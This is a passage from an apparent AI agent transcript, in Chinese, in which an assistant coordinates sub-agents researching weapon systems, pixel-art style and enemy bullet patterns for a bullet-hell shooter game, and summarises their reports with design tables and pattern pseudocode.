23844, "char_count": 11153, "message": "已读取 research/weapon_system/weapon_research.md 的内容(行 1~295)"}}, "tool_call_id": "read_file_7", "name": "read_file"}, {"role": "tool", "content": "子智能体 #2 状态: running\n调用了11次\n阅读了0次文件\n编辑了0次文件\n搜索了0次内容\n查看了20个网页\n运行了1个指令\n调研弹幕射击游戏敌方弹幕模式", "timestamp": "2026-08-23T12:32:55.892500", "message_id": "msg_9ac34dacd65a4e97a73d7dd60bff7702", "metadata": {"tool_payload": {"success": true, "results": [{"agent_id": 2, "found": true, "task_id": "sub_2_1787459391_a9b055", "status": "running", "summary": "调研弹幕射击游戏敌方弹幕模式", "created_at": 1787459391.223906, "updated_at": 1787459574.405153, "deliverables_dir": "/Users/demo/starraid/research/bullet_patterns", "stats": {"runtime_start": 1787459391224.0571, "runtime_seconds": 139, "files_read": 0, "write_files": 0, "edit_files": 0, "searches": 0, "web_pages": 20, "commands": 1, "api_calls": 11, "token_usage": {"prompt": 438417, "completion": 8577, "total": 446994}, "current_context_tokens": 76472, "compress_round": 0, "turn_count": 11}, "stats_summary": "调用了11次\n阅读了0次文件\n写入了0次文件\n编辑了0次文件\n搜索了0次内容\n查看了20个网页\n运行了1个指令", "final_result": null}]}}, "tool_call_id": "get_sub_agent_status_8", "name": "get_sub_agent_status"}, {"role": "assistant", "reasoning_content": "子智能体2还在运行中,让我继续等待它的完成。同时我已经有了子智能体1和3的报告,可以先查看一下内容。两份报告都非常详细和高质量。\n\n让我再检查一下子智能体2的状态,或者直接等待系统通知。", "content": "**子智能体1和3都已完成**,报告质量非常高!只剩 **子智能体2(弹幕模式)** 还在运行中,让我检查一下它的最新状态。", "timestamp": "2026-08-23T12:33:03.891296", "message_id": "msg_c55007a9e6004d4ea4ac3a5b2b32e037", "metadata": {"model_key": "kimi-k2.6"}, "tool_calls": [{"id": "get_sub_agent_status_9", "index": 0, "type": "function", "function": {"name": "get_sub_agent_status", "arguments": "{\"intent\": \"检查子智能体2最新状态\", \"agent_ids\": [2]}"}}]}, {"role": "tool", "content": "子智能体 #2 状态: running\n调用了11次\n阅读了0次文件\n编辑了0次文件\n搜索了0次内容\n查看了20个网页\n运行了1个指令\n调研弹幕射击游戏敌方弹幕模式", "timestamp": "2026-08-23T12:33:07.248264", "message_id": "msg_0231245e3b894dcdb4f9689a6660b9e9", "metadata": {"tool_payload": {"success": true, "results": [{"agent_id": 2, "found": true, "task_id": "sub_2_1787459391_a9b055", "status": "running", "summary": "调研弹幕射击游戏敌方弹幕模式", "created_at": 1787459391.223906, "updated_at": 1787459585.798444, "deliverables_dir": "/Users/demo/starraid/research/bullet_patterns", "stats": {"runtime_start": 1787459391224.0571, "runtime_seconds": 139, "files_read": 0, "write_files": 0, "edit_files": 0, "searches": 0, "web_pages": 20, "commands": 1, "api_calls": 11, "token_usage": {"prompt": 438417, "completion": 8577, "total": 446994}, "current_context_tokens": 76472, "compress_round": 0, "turn_count": 11}, "stats_summary": "调用了11次\n阅读了0次文件\n写入了0次文件\n编辑了0次文件\n搜索了0次内容\n查看了20个网页\n运行了1个指令", "final_result": null}]}}, "tool_call_id": "get_sub_agent_status_9", "name": "get_sub_agent_status"}, {"role": "assistant", "reasoning_content": "子智能体2还在运行中,状态没有变化。看起来它还在进行网络调研。让我再稍微等待一下,或者我可以先向用户展示已经完成的调研成果。\n\n不过按照sub-agent-guide的建议,我应该等待通知而不是主动轮询。但既然用户可能想知道进度,我可以先展示已有的两份报告的核心发现,并告知最后一份即将完成。\n\n实际上,让我再等一下,子智能体2可能很快就会完成。我可以再查一次状态。", "content": "子智能体2还在调研中,让我再稍等一下——", "timestamp": "2026-08-23T12:33:14.274277", "message_id": "msg_7f54a28aeb714fe28989a96a7add2d2a", "metadata": {"model_key": "kimi-k2.6"}, "tool_calls": [{"id": "sleep_10", "index": 0, "type": "function", "function": {"name": "sleep", "arguments": "{\"intent\": \"等待子智能体2完成\", \"seconds\": 15, \"reason\": \"等待最后一份弹幕模式调研报告完成\"}"}}]}, {"role": "tool", "content": "已等待 15.0 秒;原因:等待最后一份弹幕模式调研报告完成;时间:2026-08-23T12:33:30.767553", "timestamp": "2026-08-23T12:33:30.868034", "message_id": "msg_38619a9f2dd048748b6f6941bc07ebda", "metadata": {"tool_payload": {"success": true, "message": "已等待 15.0 秒", "reason": "等待最后一份弹幕模式调研报告完成", "timestamp": "2026-08-23T12:33:30.767553"}}, "tool_call_id": "sleep_10", "name": "sleep"}, {"role": "assistant", "reasoning_content": "让我再检查一下子智能体2的状态,看看是否已经完成。", "content": "", "timestamp": "2026-08-23T12:33:35.620187", "message_id": "msg_9fa58b78b2ab4163886e14524931c7dd", "metadata": {"model_key": "kimi-k2.6"}, "tool_calls": [{"id": "get_sub_agent_status_11", "index": 0, "type": "function", "function": {"name": "get_sub_agent_status", "arguments": "{\"intent\": \"再次检查子智能体2状态\", \"agent_ids\": [2]}"}}]}, {"role": "tool", "content": "子智能体 #2 状态: running\n调用了14次\n阅读了1次文件\n编辑了0次文件\n搜索了0次内容\n查看了20个网页\n运行了2个指令\n调研弹幕射击游戏敌方弹幕模式", "timestamp": "2026-08-23T12:33:39.364649", "message_id": "msg_2b9668545f78467586fd20c84714f2c5", "metadata": {"tool_payload": {"success": true, "results": [{"agent_id": 2, "found": true, "task_id": "sub_2_1787459391_a9b055", "status": "running", "summary": "调研弹幕射击游戏敌方弹幕模式", "created_at": 1787459391.223906, "updated_at": 1787459617.913922, "deliverables_dir": "/Users/demo/starraid/research/bullet_patterns", "stats": {"runtime_start": 1787459391224.0571, "runtime_seconds": 223, "files_read": 1, "write_files": 1, "edit_files": 0, "searches": 0, "web_pages": 20, "commands": 2, "api_calls": 14, "token_usage": {"prompt": 706679, "completion": 21189, "total": 727868}, "current_context_tokens": 94052, "compress_round": 0, "turn_count": 14}, "stats_summary": "调用了14次\n阅读了1次文件\n写入了1次文件\n编辑了0次文件\n搜索了0次内容\n查看了20个网页\n运行了2个指令", "final_result": null}]}}, "tool_call_id": "get_sub_agent_status_11", "name": "get_sub_agent_status"}, {"role": "assistant", "reasoning_content": "子智能体2还在运行中,调用了14次,查看了20个网页。它正在努力工作。让我继续等待,或者我可以先把已有的两份报告的核心内容向用户做一个初步汇报,等最后一份完成后再做最终整合。\n\n不过根据sub-agent-guide的指示,后台模式下我应该等待系统通知。但用户可能想知道进度。让我再等一小会儿。\n\n实际上,我已经有了非常详细的两份报告,可以先给用户做一个中期汇报,展示核心发现,同时说明最后一份报告即将到来。这样用户不会感到等待无聊。\n\n让我先整理一下已有两份报告的核心亮点。", "content": "子智能体2还在深入调研中(已调用14次工具、查看20个网页)。为了不让你久等,我先汇报 **已完成的两份报告的核心发现**,最后一份完成后立即补充!\n\n---\n\n## 📋 调研中期汇报:像素弹幕射击游戏美术设计\n\n---\n\n### 一、武器系统设计(来自子智能体1)\n\n**7大武器类型及经典例子:**\n\n| 武器类型 | 经典游戏例子 | 视觉特征 |\n|---------|-------------|---------|\n| **🎯 散弹(Spread)** | 雷电Vulcan、东方灵梦C、幽幽子蝶弹 | 扇形多弹丸、覆盖广、离散分布 |\n| **🔴 集中射击(Focus)** | 东方低速模式、风神录封印针 | 弹丸收拢成束、前方高伤害 |\n| **⚡ 激光/光束** | 怒首领蜂Laser、雷电Plasma | 粗直持续光柱+起点光晕+灵气光环 |\n| **🧭 追踪弹(Homing)** | 东方灵梦A诱导灵符、雷电H导弹 | 弹丸带转弯行为+弯曲尾迹+发光引导火 |\n| **🛡️ 环绕/子机武器** | R-Type力球、Gradius Option、东方子机 | 发光球体挂在自机旁、数量=火力等级 |\n| **💥 蓄力射击** | R-Type波动炮 | 充能指示器(能量球由小变大)+释放时大弹体+闪光 |\n| **💣 炸弹/清屏** | 东方符卡BOMB、怒首领蜂Bomb | 全屏特效+扩散圆环+敌弹变道具+短暂无敌 |\n\n**关键设计洞察:**\n- 东方Project的**符卡系统**把炸弹做成了\"有名字有立绘的招式\",是玩法与世界观结合的巅峰\n- 怒首领蜂的**Hyper系统**将\"强化\"与\"难度提升\"挂钩——高回报高风险\n- **火力等级必须可视化**:玩家不需要看HUD就能通过子机数量/弹丸数感知等级\n\n---\n\n### 二、像素美术风格设计(来自子智能体3)\n\n**核心原则:弹幕游戏的美术不是\"好看\",而是\"可读性(Readability)\"!**\n\n#### 分辨率与尺寸基准\n- **推荐逻辑分辨率**:480×270 或 320×180,整数倍放大3~4倍\n- **自机精灵**:16×16(极简)/ 24×24 / 32×32(推荐起步)\n- **杂兵**:16×16 ~ 24×24;**Boss**:48×48 ~ 96×96\n- **子弹**:8×8(小圆弹)~ 16×16(中圆弹)~ 32×32(特殊弹)\n\n#### 色板分工体系\n| 元素 | 颜色建议 |\n|-----|---------|\n| **背景** | 低饱和中暗调(深蓝紫灰系)|\n| **敌方子弹** | 红/粉/紫系 + 白/亮色描边 |\n| **我方子弹** | 青/绿白系 + 深色描边 |\n| **自机** | 高对比品牌色(如红白、蓝白)|\n| **道具** | 金/橙(得分)、红(火力)、蓝(速度)、银灰(Bomb)|\n| **爆炸** | 白→橙红黄→灰 |\n\n#### 动画帧数基线\n- 自机滚转:**3~5帧** + 尾焰**2~4帧**\n- 子弹旋转:**4帧**(或8帧)、脉动**2~4帧**、闪烁**2帧**\n- 爆炸:**6~10帧**(白热→暖色→灰烟)\n- 统一帧率:**12~15 FPS**\n\n#### 判定框视觉提示\n- 东方系列标准:**低速/聚焦模式下显示半透明小圆圈+中心实点**\n- 判定圈与真实判定完全同心,让\"视觉大、判定小\"的公平性可视化\n\n#### 绘制顺序(渲染层,从底到顶)\n```\n背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → 敌方子弹(最顶层)\n```\n敌弹内部:小快弹 > 大慢弹\n\n---\n\n### 三、爆炸特效设计公式(SLYNYRD方法)\n1. **几何引导**:圆→扩张变细环\n2. **颜色演变**:白炽(最亮)→暖色(红橙黄)→灰烟消散\n3. **物理节奏**:热气先快后慢→**先迅速扩张、后缓慢消散**\n4. **Boss爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片四散\n\n---\n\n### 四、免费素材资源推荐\n\n| 资源 | 内容 | 链接 |\n|-----|------|------|\n| **Danmaku Sprite Pack**(Void dancer)| 模仿东方风格的子弹精灵包,免费 | itch.io |\n| **Pixel SHMUP Ships**(DyLESTorm)| 免费1自机+2敌机+2弹幕+8帧爆炸+UI | livingtheindie.com |\n| **Explosions, Bullets, Fire** | 爆炸/子弹/火/电等离子精灵,CC0 | OpenGameArt |\n| **Free Laser Bullets Pack 2020** | 66个CC0激光/子弹PNG | OpenGameArt |\n\n---\n\n**⏳ 正在等待:子智能体2(敌方弹幕模式设计)——涵盖15种经典弹幕模式、数学公式、Boss战设计等,预计即将完成!**", "timestamp": "2026-08-23T12:34:04.887278", "message_id": "msg_4686c32a4131408da322663817007340", "metadata": {"model_key": "kimi-k2.6"}}, {"role": "user", "content": "[系统通知|sub_agent]\n✅ 子智能体2 任务摘要:调研弹幕射击游戏敌方弹幕模式 已完成。\n\n调用了16次\n阅读了1次文件\n写入了1次文件\n编辑了1次文件\n搜索了0次内容\n查看了20个网页\n运行了2个指令\n\n运行了236秒\n\n已完成弹幕射击游戏敌方弹幕模式调研,交付文件:research/bullet_patterns/bullet_pattern_research.md(约43KB,436行)。报告结构:①弹幕与普通STG区别及幕帘火/判定点/擦弹等背景概念;②9类任务要求模式(环形/螺旋/扇形/直线/随机/追踪/反弹/滞留/组合)+调研补充的10类常用模式(波型/网格/花状/激光/分裂等),每类含名称、视觉描述、数学公式、经典游戏例子、像素风格设计建议;③Boss战设计(东方符卡系统、密度控制、安全路径与微/宏闪避、时间限制与五要素);④数学原理(参数体系、sin/cos公式、变速、极坐标/贝塞尔曲线、对象池性能);⑤像素风格视觉设计(东方弹型库、颜色编码、hitbox与可躲避性、发光/描边/层级);⑥落地建议清单;⑦来源与置信度说明及参考链接。信息来源:note.com、Sparen指南、Wikipedia符卡、thwiki弹型、slynyrd Pixelblog、Game Developer等约20个网页,均已标注;常识性例子与综合建议已明确区分置信度。\n\n交付目录:/Users/demo/starraid/research/bullet_patterns", "timestamp": "2026-08-23T12:34:05.965908", "message_id": "msg_fc99b398ad6a45629caa6171e1a873ce", "metadata": {"message_source": "sub_agent", "visibility": "compact", "starts_work": false, "is_auto_generated": true, "auto_message_type": "completion_notice"}}, {"role": "assistant", "reasoning_content": "太好了!所有三个子智能体都完成了。子智能体2的报告非常详细(43KB, 436行),涵盖了19种弹幕模式、Boss战设计、数学原理等。让我读取这份报告,然后整合三份报告为用户生成一份完整的汇总。\n\n不过报告有436行,可能比较长。让我先读取,然后为用户整理一份精华版。", "content": "全部三份子报告都已完成!让我读取最后一份弹幕模式调研报告。", "timestamp": "2026-08-23T12:34:16.674025", "message_id": "msg_e2a6dc46705b445eb2d23f26a10e654d", "metadata": {"model_key": "kimi-k2.6"}, "tool_calls": [{"id": "read_file_12", "index": 0, "type": "function", "function": {"name": "read_file", "arguments": "{\"intent\": \"读取弹幕模式调研报告\", \"path\": \"research/bullet_patterns/bullet_pattern_research.md\", \"type\": \"read\"}"}}]}, {"role": "tool", "content": "读取 research/bullet_patterns/bullet_pattern_research.md 行 1~437 (max_chars=50000)\n```\n# 弹幕射击游戏(STG / Bullet Hell)敌方弹幕模式调研报告\n\n> **调研目的**:为像素风格的弹幕射击游戏(STG / Bullet Hell)提供敌方弹幕(bullet pattern)设计的系统性参考。\n> **调研方式**:网络搜索 + 网页资料提取(来源见第 7 章)。\n> **调研时间**:2026-08-23\n> **交付目录**:`research/bullet_patterns/`\n\n---\n\n## 0. 摘要(TL;DR)\n\n- 弹幕(danmaku / 弾幕,字面义\"弹幕幕帘\",西方称 bullet hell / curtain fire)与普通 STG 的本质区别**不是子弹数量**,而是\"**整个屏幕都是弹幕的舞台**\"——大量子弹不是为了全部命中玩家,而是组成可观赏、可读、有图案(pattern)的\"幕帘\",玩家在其中寻找缝隙穿行。多数子弹在诞生之初就注定打不到玩家(Sparen's Danmaku Design Studio, Guide A2)。\n- 经典弹幕模式可用\"**规律 + 微扰**\"统一描述:先排布几何图案(环形、螺旋、扇形、直线、激光、网格等),再叠加少量可控随机(角度/速度抖动),并始终**以\"设计缝隙\"为核心**,而不是\"设计密度\"。\n- Boss 战的核心设计杠杆:**阶段(Phase/符卡)转换、节奏(轻/重交替与紧张-释放)、密度控制(难度曲线)、安全路径/安全点(safe zone/safespot/routing)、公平性信号(预警 telegraph)**。\n- 实现上只靠 5 个基础参数即可组合出绝大多数模式:**发射角度、子弹数量、发射间隔、子弹速度、加速度(角速度)**;曲线弹幕依赖角速度转向、极坐标/参数方程(如螺旋 `r=a·t, θ=b·t`)、贝塞尔曲线或正弦扰动。\n- 像素风格下,弹幕可读性(readability)压倒一切:**高饱和颜色 + 描边(尤其双层描边)+ 闪烁/呼吸动画 + 明确的子弹形状语义 + 绘制层级(敌方子弹永远最上层)**;并让判定(hitbox)远小于视觉尺寸。\n\n---\n\n## 1. 背景认知:弹幕射击与普通 STG 的区别\n\n| 维度 | 普通 STG | 弹幕射击(Bullet Hell) |\n|---|---|---|\n| 子弹目的 | 命中玩家 | 大量子弹作\"装饰 + 制造缝隙谜题\",很多子弹故意不打玩家 |\n| 屏幕利用 | 子弹从上方来袭 | 全屏都是舞台,子弹可从任何方向/任何规律出现 |\n| 判定 | 机体整体判定 | 微型判定点(hitbox),东方等游戏中判定远小于机绘大小 |\n| 玩家速度 | 较快 | 有\"低速聚焦模式\"(focus/slow mode)用于精确微调 |\n| 美学 | 战场感 | \"弹幕舞蹈\",图案本身有独立观赏价值 |\n\n关键概念:\n\n- **幕帘火(Curtain fire)**:'curtain fire'精确描述了弹幕的本质——用弹幕填满一片空间形成\"幕帘\",玩家面对的是\"图案\",而不是\"几发子弹\"(Sparen Guide A2)。\n- **判定点(Hitbox)**:子弹只有碰到自机中心的微小判定点才算命中。Cave 的《虫姬后传》《怒首领蜂大复活》甚至有 1 像素判定;DoDonPachi 系列子弹判定通常只占子弹直径约 20%(来源:TimeExtension CAVE 历史长文、Shmups Wiki CAVE 词条)。\n- **擦弹(Graze)**:子弹掠过判定点外围的\"擦弹判定圈\"得分,鼓励玩家贴着子弹走(Summer Engine、maribelhearn 术语表)。\n- **心理过滤(Mental filtering)**:高手玩家会自动忽略大量\"注定打不中自己\"的子弹(例如环形弹幕中飞向两侧/上方的子弹),只对逼近自己的弹道做出反应——这是弹幕\"装饰性子弹\"能成立的心理学基础(Sparen Guide A2)。\n\n---\n\n## 2. 经典弹幕模式分类\n\n> 本节以任务要求的 9 类为主干(2.1–2.9),然后在 2.10 补充调研中发现的其它常用模式。每个模式给出:**名称 / 视觉描述 / 数学与实现要点 / 经典游戏例子 / 像素风格设计建议**。\n> 注:任务要求的 9 类与社区常用分类(如 note.com 归纳的 15 种模式)并非一一对应,本报告将两类分类体系做了映射与合并。\n> 经典例子部分,凡未在本轮调研资料中明确出现的,均标注为\"常识(通用认知)\",置信度说明见第 7 章。\n\n### 2.1 环形弹幕(Ring / Circle Burst,日语\"轮弾/円形弾\")\n\n- **视觉描述**:从中心点向 360° 均匀放射一圈子弹,呈涟漪/烟花/魔法阵状。变化包括:扩展环(从小半径环向外扩)、收缩环、多重同心环、旋转环、分裂环(飞到中途爆成更多子弹)。(note.com 2-8 Rings)\n- **数学与实现要点**:\n ```\n n = 子弹数; base = 基准角\n for i in 0..n-1:\n angle = base + i * (360° / n)\n vx = speed * cos(angle); vy = speed * sin(angle)\n ```\n 若每帧/每次发射让 `base` 增加固定角,环就\"旋转/缭乱\"起来。(o3de-diorama 文档:Ring 参数含 Count、Aim、Speed、Fire Rate、Spin Per Shot;Ted Lim / GameMaker 论坛同款公式)\n- **经典游戏例子**:东方系列几乎所有 Boss 都有环弹(常识);琪露诺的冰符「Icicle Fall -Easy-」的冰柱环是知名的入门环弹(Sparen Guide A2 以其为例讲述固定角);环形常用作 Boss 战开场或\"轻阶段\"的通用压迫弹(note.com 入门 Boss 组合)。\n- **像素风格设计建议**:环弹数量多且对称,适合用**小尺寸圆形弹**(6–8px)保证低视觉占用;用\"带圈的小玉\"(外圈描边)区分装饰环和危险环;旋转环可给子弹加 1–2 帧的旋转动画增强\"轮转感\"。\n\n### 2.2 螺旋弹幕(Spiral)\n\n- **视觉描述**:发射角连续旋转,子弹留下螺旋尾迹,像银河/风车/玫瑰。变体:单螺旋、多螺旋、顺逆时针双螺旋交叉、不同色相/速度的螺旋。(note.com 2-2 Spiral)\n- **数学与实现要点**:\n - 离散式:每次发射一个环,环的基准角 += 每发旋转角(Spin Per Shot),即\"每发转一点\"(o3de-diorama)。\n - 参数方程(连续式):极坐标 `r = a·t`、`θ = b·t`,则 `x = cx + r·cos(θ)`,`y = cy + r·sin(θ)`(来源:Danmokou Tutorial 6 的螺旋示例 `polar(2*t, 80*t)`)。\n - 替代实现:让发射器父对象缓慢旋转(Ted Lim——\"空对象 + 3 个子发射点 + 旋转父对象即可做出螺旋\")。\n- **经典游戏例子**:螺旋是弹幕最经典的高性价比模式,\"低子弹数也能很华丽\"(note.com);东方各作螺旋遍地(常识),双反向螺旋常作中后期难度(YouTube Week 25 Boss 设计演示了\"顺+逆双螺旋\"Boss 阶段)。\n- **像素风格设计建议**:螺旋强调\"轨迹\",适合用**细长子弹(针弹/米弹/箭弹)**来勾勒弧线;或给圆形弹加方向性贴图(箭头形)让旋转方向可读(Sparen Guide A2 说明了\"有方向性的子弹图形\"对旋转/转向弹幕的可读性价值)。\n\n### 2.3 扇形弹幕(Fan / Wedge)\n\n- **视觉描述**:在一个方向张开成扇面。窄扇高压、宽扇适合场景演出;朝玩家发射时进攻性强(\"瞄准开火\"的观感),固定方向发射则可控、适合道中演出。(note.com 2-3 Fan)\n- **数学与实现要点**:\n ```\n n = 子弹数; spread = 扇形总张角; aim = 瞄准角\n step = spread / (n - 1)\n start = aim - spread / 2\n for i in 0..n-1:\n angle = start + i * step\n ```\n (来源:Unity 教程(Unity Discussions 搜索片段)与 Ted Lim 的扇面公式——\"startAngle = target - halfSpread / 2,endAngle = target + halfSpread/2,逐颗递增 step\")\n- **经典游戏例子**:几乎所有 STG 的追踪射击采用\"瞄准玩家的扇\"(aimed fan);东方道中妖精惯用(常识);DoDonPachi 等 Cave 游戏的\"concentrated fire\"即窄/快扇(来源:Zen of the SHMUP 对 Cave 的归类)。\n- **像素风格设计建议**:扇弹适合 7–11 颗一组的中型子弹(如 10px 小玉),发射瞬间用**同一色系**表示同一波;窄扇用暖色(红/橙)暗示高风险,宽装饰扇用冷色。\n\n### 2.4 直线弹幕(Line / Stream / Wall)\n\n- **视觉描述**:\n - **流弹(Stream)**:从一处连续射出单发子弹,形成一条密集弹流,玩家\"引弹\"时可把它带成一条可利用的空隙带(maribelhearn 术语:streaming / 引弹)。\n - **墙(Wall)**:同排/同列子弹连成不可穿越的\"墙\",迫使玩家整体绕过(宏闪避)或在墙隙中微闪避。Sparen Guide A3 的定义:\"墙 = 玩家无法从中间穿过的子弹群/编队\"。\n- **数学与实现要点**:连续发射(fire rate 控制密度)+ 固定方向;若每发角度做正弦微扰,直线流会变成\"S 形波流\"(Unity 论坛示例:0°→180° 递增、180°→360° 递减即正弦半波)。\n- **经典游戏例子**:东方\"针山/米弹雨\"类密集直线(常识);Sparen 用 Utsuho(地灵殿 阿空)的符卡组合说明微/宏闪避结合的动态弹幕(Sparen Guide A3)。\n- **像素风格设计建议**:直线弹适合**针弹/米弹/箭弹**(细长、方向明确);流弹用同色细弹,墙用同色+同速保证\"墙\"的视觉连续性;给子弹加方向性贴图可让玩家立即读出弹道(Sparen Guide A2)。\n\n### 2.5 随机散射(Random Spread)\n\n- **视觉描述**:子弹角度/速度在随机范围内散射,像火花、星尘、碎片。纯随机易显得\"无设计\"且不公平,优秀做法是给角度、速度、密度赋予\"范围与偏置\"(bias),即受控随机。(note.com 2-12 Particles;Sparen Guide A2 对随机角的负面评价)\n- **数学与实现要点**:\n - 在固定规律上叠加小随机:\"受控随机看起来更像弹幕\"(note.com 3-1):\n ```\n angle = base + i * even_angle + sin(t) * 波动幅度 # 规律性\n speed = base_speed + random(-0.2, 0.2) # 微扰\n ```\n - 随机角度也可用作\"种子角度\":例如连续发射环形弹时,每轮用一个随机初始角,避免盲区/避免每轮覆盖完全相同的路径(Sparen Guide A2)。\n- **经典游戏例子**:东方的\"小虫型符卡\"(《魔理沙的魔法书》分类,子弹细碎、颜色丰富,多为弱妖怪用,来源:Wikipedia 符卡)与妖精群随机弹(常识);Cave 的 Mushihimesama 强调\"更快、更集中\"的火力,其随机感更强(来源:Zen of the SHMUP / Reddit 讨论)。\n- **像素风格设计建议**:随机弹适合**点弹/星弹/米粒弹**等小尺寸,配合\"闪烁\"动画强调危险性;随机弹颜色可用亮白/黄等\"危险信号色\";注意与背景对比度(slynyrd)。\n\n### 2.6 追踪弹幕(Homing / Aimed)\n\n- **视觉描述**:\n - **瞄准弹(Aimed)**:开火瞬间朝玩家当前位置瞄准(可加扇形成\"瞄准扇/散弹\"),考验玩家\"引弹\"(misdirection)能力(note.com 2-4、maribelhearn 术语)。\n - **追踪弹(Homing)**:飞行中持续转向玩家。转向性能越弱越容易躲,追求\"稍微弯曲\"而非\"全程咬死\",反而更美观(note.com 2-13)。\n- **数学与实现要点**:\n ```\n desired = atan2(player.y - bullet.y, player.x - bullet.x)\n turn = clamp(desired - bullet.angle, -maxTurnRate*dt, +maxTurnRate*dt)\n bullet.angle += turn # 限速转向(turning performance)\n # 可选:加速度朝玩家、停顿后重新加速、分裂后重新锁定(note.com 2-13 变体)\n ```\n- **经典游戏例子**:瞄准弹是 Cave\"concentrated fire / tracking\"风格的基石(来源:SHMUP Workshop 03 YouTube——\"tracking and spread gates, 经典 CAVE 做法\");东方 Boss 的瞄准时间差/瞄准散弹(常识)。追踪弹在 DoDonPachi 的\"自爆弹\"(suicide bullets,击破敌人释放的追踪自机弹)中大量出现(来源:TimeExtension)。\n- **像素风格设计建议**:追踪弹要用**明显的方向性贴图**(箭头/小刀/蝴蝶等)且贴图随角度旋转,否则玩家读不出它在转弯(Sparen Guide A2:\"无方向性贴图的圆弹不传达转向\")。用发光/描边强调\"这只子弹会追我\"。\n\n### 2.7 反弹弹幕(Bounce / Ricochet)\n\n- **视觉描述**:子弹撞到屏幕边缘/墙壁后反弹继续飞行,轨迹呈折线。属于\"轨迹型\"弹幕中较少见的一类。\n- **数学与实现要点**:碰撞边缘时反射角度:`angle = π - angle`(左右边)或 `angle = -angle`(上下边),或对速度向量做分量取反;可加转数上限让子弹弹几次后消失。\n- **经典游戏例子**:相比东方式纵版弹幕(子弹通常出屏即消),反弹弹更常见于街机/横版与部分同人弹幕(如某些 Cave 之外的 STG);东方中近乎**没有**常规反弹弹(常识判断,未见调研资料佐证其广泛存在)。⚠️ 这属于\"相对少见\"的类型,若要在本项目中使用,建议作为特色武器或 Boss 特殊阶段引入,而非基础词库。\n- **像素风格设计建议**:反弹弹适合圆润的**圆形/椭弹**(避免方向性贴图在反弹瞬间的旋转跳变违和);反弹瞬间加 1–2 帧\"压缩-回弹\"动画或火花粒子,强化物理感;用预警或颜色提示\"它会弹\"。\n\n### 2.8 滞留弹幕(Static / Lingering)\n\n- **视觉描述**:子弹停留在场上形成持续障碍,或极慢速移动封锁区域。包括:静止弹墙、悬浮使魔、地面/空中持续存在的弹(laser 也可视为线状滞留)。作用是**区域封锁(area denial)**:封住一部分屏幕,为后续弹幕做铺垫,或堵住之前的逃逸路线(SHMUP Workshop 03:area denial patterns 的定义;Boghog:bullet sealing、ceasefire zone 等反挫败机制)。\n- **数学与实现要点**:寿命(lifespan)拉长 + 速度降到 ~0;或通过\"分裂条件=凝固\"实现\"飞行到某点后停住\"。可让滞留弹周期性闪烁(半透明 + 呼吸)提示\"仍在威胁中\"。\n- **经典游戏例子**:东方\"压迫型符卡\"(《魔理沙的魔法书》:限制自机移动范围的符卡,来源 Wikipedia,如灵梦的梦符「二重结界」以弹幕构成双重结界限制移动——B 站文章以它为例);激光墙封路也是常见形式(note.com 2-14,激光\"clearly block off parts of the screen\")。\n- **像素风格设计建议**:滞留弹必须与\"会动的危险弹\"在视觉上区分——建议**低频闪烁 + 半透明 + 固定描边**;或用\"发光的柱子/结界\"图形(如结界/棱镜形状)表示区域阻碍物。静止弹用冷色系(蓝/紫),活动弹用暖色系,形成语义分离。\n\n### 2.9 组合弹幕(Compound Patterns)\n\n- **视觉描述**:把多个模式叠加。例如\"螺旋铺满屏 + 瞄准弹逼玩家移动\",或\"展开环 + 中途分裂 + 激光堵路\"。(note.com 2-15 Composite)\n- **设计原则**(note.com 3-2 / 2-15):\n - 组合时**指定一个主模式**,其余为伴奏,避免信息过载。\n - 元素越多,越要依赖颜色编码、预警、缝隙设计来保证可读性。\n - 组合要形成\"分工\":背景压迫 + 前景逼迫(如中间难度组合:旋转全向弹 + 上方落雨 + 周期性瞄准弹)。\n- **经典游戏例子**:东方高阶符卡几乎都是组合(常识,如多层螺旋+分裂环+预警激光即 note.com 高级 Boss 推荐组合);阿空(地灵殿)的符卡是微/宏闪避结合的著名组合(Sparen Guide A3)。\n- **像素风格设计建议**:组合弹幕在像素风下最容易\"糊成一团\"。建议:每个模式用**不同主色**;不同模式用**不同子弹形状**(圆=压迫、针=直线、星=装饰/特殊);层与层之间拉开速度差,让玩家能分层读取。\n\n### 2.10 调研补充的常用模式\n\n以下模式来自 note.com 的《15 种经典弹幕模式》与 Sparen 指南,按需并入本项目词库:\n\n| 模式 | 视觉/玩法特征 | 要点 | 像素建议 |\n|---|---|---|---|\n| **波型/幕帘(Wave/Curtain)** | 正弦波排列的子弹带,像波浪/极光/瀑布,容易与 BGM 节奏联动 | 重点是\"缝隙的流动感\"而非子弹本身;`y = a·sin(ωt + φ)` 排布 | 用细长米弹/针弹沿正弦排布,同色系渐变 |\n| **网格(Grid)** | 横竖规则排列,钻石/晶体状,几何美且缝隙可读;纯网格易单调,加大小的速度差/局部缺口 | 强规律、易读、密度↑难度↑ | 用规则小圆弹 + 网格闪烁/错位动画 |\n| **花状(Floral)** | 对称花瓣排列(5/6/8 瓣),华丽,适合符卡演出 | 对称越高越精致;过度均匀会单调,周期性转相位 | 花瓣用两类颜色交替(瓣=亮、蕊=暗)强化图案 |\n| **星形/多边形(Star)** | 强调特定顶点(5/6/8 向)的星形放射 | 少弹星形也醒目,适合元素/性格表达 | 用星形贴图子弹 + 旋转动画 |\n| **交叉(Intersection)** | 多股弹流交叉如编织/光流;视觉美但缝隙易被切断 | 关注\"玩家可走的路径\"而非交点;调速度/密度/交叉角 | 两条交叉流用互补色(如青 vs 品红)|\n| **落雨(Rain)** | 自上而下倾泻,天然适合道中演出 | 全随机易不公平,保持一定规律美观 | 竖直方向子弹用垂直长条贴图或水滴形 |\n| **粒子(Particles)** | 火花/星尘式散落,适合爆炸、花瓣、魔法粒子、Boss 登场 | 给角度/速度/密度一个\"范围+偏置\" | 小尺寸 + 闪烁,可叠加在其他弹幕上做纹理 |\n| **激光(Laser)** | 线/带状攻击,视觉冲击强,可明确封路 | 发射前先给**细预警线(telegraph)**最公平;有固定/旋转/弯曲/网格激光 | 预警线细→粗的 2 帧过渡动画;激光主体用高亮+描边 |\n| **分裂弹(Split)** | 飞行中途/定时/到距离后爆成子弹(如 1→3),常伴随\"先停顿\"预警 | 分裂条件:时间/距离/位置;分裂后子弹可重新锁定玩家(note.com 2-13) | 母弹大而亮(告知\"会爆\"),子弹小一号;停顿帧加\"蓄力闪光\" |\n\n---\n\n## 3. Boss 战弹幕设计\n\n### 3.1 阶段转换与东方Project符卡系统(Spell Card)\n\n**东方Project 的符卡系统**(来源:Wikipedia《符卡》、百度百科、PIXNET 东方介绍):\n\n- 